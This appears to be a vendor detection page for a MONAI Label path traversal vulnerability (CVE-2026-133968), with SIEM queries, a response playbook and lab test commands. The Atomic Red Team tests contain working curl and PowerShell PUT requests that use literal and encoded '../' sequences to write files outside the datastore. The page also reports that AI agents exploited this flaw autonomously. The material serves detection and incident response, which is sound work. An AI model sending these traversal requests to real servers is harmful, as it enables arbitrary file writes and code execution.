Detect MONAI Label Path Traversal (CVE-2026-133968) in Sumo Logic CSE
Detects exploitation of CVE-2026-133968, a critical (CVSS 9.8) path traversal vulnerability (CWE-24) in Project MONAI's MONAI Label medical imaging annotation server. The PUT /datastore/image and PUT /datastore/label endpoints build the destination file path from a caller-controlled image ID and label tag without confining it to the datastore directory. An attacker can supply a crafted relative path to write an uploaded file to an arbitrary location the server process can write to, which can lead to remote code execution (for example by overwriting application code such as sitecustomize.py). Authentication is disabled by default (MONAI_LABEL_AUTH_ENABLE=False), so in the default configuration any client that can reach the server can exploit this. The flaw is in the CISA KEV catalog. Amazon Threat Intelligence reported that autonomous AI agents operated by a China-nexus threat actor found and exploited it to gain root on a university server. Detection focuses on directory-traversal sequences in HTTP request paths and query parameters to MONAI Label datastore endpoints and on files written outside the datastore root. Remediate by upgrading to MONAI Label 0.8.6 or later.
MITRE ATT&CK
- Tactic
- Initial Access Execution
Sumo Detection Query
// df00tech DF00-1a3a0a06b1 · https://df00tech.com/detections/CVE-2026-133968 · licence: https://df00tech.com/detections/licence
_sourceCategory=*web* OR _sourceCategory=*proxy*
| parse regex "(?<method>\w+)\s+(?<url>\S+)\s+HTTP" nodrop
| where url matches "*/datastore*" or url matches "*/session*"
| if (url matches /(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e\/|\.\.%2f|\.\.%5c)/i, 1, 0) as is_traversal
| where is_traversal = 1
| count by src_ip, dest_ip, dest_port, url, method Identifies MONAI Label web requests to datastore or session endpoints that include literal or URL-encoded path-traversal sequences.
Data Sources
Required Tables
False Positives & Tuning
- Benign relative path fragments in dataset directory names
- Authorized vulnerability scans
- Health-check and synthetic monitoring traffic
Other platforms for CVE-2026-133968
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 MONAI Label path traversal file write via datastore image endpoint
Expected signal: Web/proxy access log entry for PUT /datastore/image with a '../' sequence in the image query parameter.
- Test 2 MONAI Label path traversal file write via datastore label endpoint
Expected signal: Access log entry for PUT /datastore/label with %2f-encoded traversal in the query string.
- Test 3 MONAI Label traversal probe on Windows host
Expected signal: IIS/reverse-proxy log entry for the PUT request to /datastore/image with %2f-encoded traversal in the query string.
References (7)
- https://github.com/Project-MONAI/MONAILabel/security/advisories/GHSA-qc22-rmgc-vg94
- https://github.com/Project-MONAI/MONAILabel/pull/1915
- https://github.com/Project-MONAI/MONAILabel/releases/tag/0.8.6
- https://nvd.nist.gov/vuln/detail/CVE-2026-133968
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-133968
- https://www.theregister.com/security/2026/11/20/china-attackers-deployed-ai-agents-that-autonomously-found-and-exploited-a-0-day-to-take-over-a-university-server/5311382
- https://aws.amazon.com/blogs/security/chinese-nexus-actors-cairn-ai-agents-found-a-zero-day-on-their-own/
Response Playbook
Triage
- Confirm the targeted host runs MONAI Label and determine the version; versions up to and including 0.8.5 are vulnerable to CVE-2026-133968.
- Extract the full decoded URI and query from the alert and identify where the traversal sequence resolves relative to the datastore root.
- Determine whether the write succeeded (for example HTTP 200 on a PUT) versus was blocked or errored (400/403/500) to distinguish a successful arbitrary file write from a failed probe.
- Review the source IP's full request history to the MONAI Label server for reconnaissance patterns, repeated traversal attempts, and tooling or user-agent signatures consistent with automated exploitation.
Containment
- Block the offending source IP at the perimeter or WAF and restrict MONAI Label API exposure to trusted networks or VPN only.
- Upgrade MONAI Label to version 0.8.6 or later (fix in PR #1915) or take the service offline until patched if it is internet-exposed.
- If arbitrary file write is suspected, isolate the host from the network to prevent webshell deployment or lateral movement.
Evidence Collection
- Preserve web server, reverse-proxy and MONAI Label application logs covering the attack window, including full URIs and request methods.
- Capture the MONAI Label process file-write telemetry and any files created or modified outside the datastore root (candidate webshells or dropped payloads, for example a modified sitecustomize.py).
Escalation Criteria
- !Escalate to incident response if a traversal request wrote a file outside the datastore root.
- !Escalate immediately if evidence shows new executable or script files, a modified sitecustomize.py, or follow-on command execution on the MONAI Label host, consistent with the reported AI-agent takeover activity.
Investigation Guide
Forensic Artifacts
- >
Web/proxy access logs showing traversal URIs on PUT requests to datastore endpoints - >
MONAI Label application logs referencing datastore file operations with out-of-root paths - >
New or modified files on the host outside the configured datastore directory (possible written payloads) - >
Process and filesystem audit records (auditd/Sysmon) of the MONAI Label process writing files outside the datastore root
Tuning Guidance
Baseline legitimate datastore folder naming to exclude benign relative fragments, then tighten to alert on decoded sequences that resolve above the datastore root. If MONAI Label sits behind a reverse proxy, ensure logs capture the pre-normalized URI so encoded traversal (%2e%2e%2f) is visible. Whitelist authorized scanner IP ranges to reduce noise.
Hunting Queries
Surfaces source IPs issuing repeated path-traversal attempts against MONAI Label endpoints, indicating automated enumeration.
// df00tech DF00-1a3a0a06b1 · https://df00tech.com/detections/CVE-2026-133968 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has_any ("/datastore","/session") | extend dq=url_decode(csUriQuery) | where dq has "../" or csUriStem has "../" | summarize count(), make_set(csUriStem) by cIP, bin(TimeGenerated, 1h) | where count_ > 5 ``` df00tech DF00-1a3a0a06b1 · https://df00tech.com/detections/CVE-2026-133968 · licence: https://df00tech.com/detections/licence ```
index=web (uri_path="*/datastore*" OR uri_path="*/session*") | eval d=urldecode(uri_query) | where like(d,"%../%") OR like(uri_path,"%../%") | stats count values(uri_path) as paths by src_ip | where count>5 Atomic Red Team Tests
Simulates an unauthenticated arbitrary file write by uploading a file through the MONAI Label datastore image endpoint using a traversal sequence in the image ID (lab-only against a test instance).
Command
echo poc > /tmp/monai_payload.txt; curl -s -X PUT 'http://127.0.0.1:8000/datastore/image?image=../../../../../../tmp/monai_trav_poc' -F 'file=@/tmp/monai_payload.txt' Cleanup
rm -f /tmp/monai_payload.txt /tmp/monai_trav_poc* Expected Telemetry
Web/proxy access log entry for PUT /datastore/image with a '../' sequence in the image query parameter.
Expected Detection
KQL/SPL/EQL web-log rules fire on the traversal sequence in the request to the /datastore endpoint.
Writes a file outside the datastore root through the MONAI Label /datastore/label endpoint using an encoded traversal sequence to validate detection on a second endpoint (lab-only).
Command
echo poc > /tmp/monai_label.txt; curl -s -X PUT 'http://127.0.0.1:8000/datastore/label?image=..%2f..%2f..%2f..%2ftmp%2fmonai_label_poc&tag=final' -F 'label=@/tmp/monai_label.txt' Cleanup
rm -f /tmp/monai_label.txt /tmp/monai_label_poc* Expected Telemetry
Access log entry for PUT /datastore/label with %2f-encoded traversal in the query string.
Expected Detection
Traversal-pattern web-log detections match the encoded '../' sequence targeting the /datastore endpoint.
Uses PowerShell to send an encoded traversal PUT request to a Windows-hosted MONAI Label instance (lab-only).
Command
powershell -c "Invoke-WebRequest -Method Put -Uri 'http://127.0.0.1:8000/datastore/image?image=..%2f..%2f..%2f..%2fWindows%2fTemp%2fmonai_poc' -InFile $env:TEMP\monai_payload.txt" Cleanup
powershell -c "Remove-Item $env:TEMP\monai_payload.txt -ErrorAction SilentlyContinue" Expected Telemetry
IIS/reverse-proxy log entry for the PUT request to /datastore/image with %2f-encoded traversal in the query string.
Expected Detection
W3CIISLog KQL rule and encoded-traversal detections fire on the %2e%2e / %2f sequence.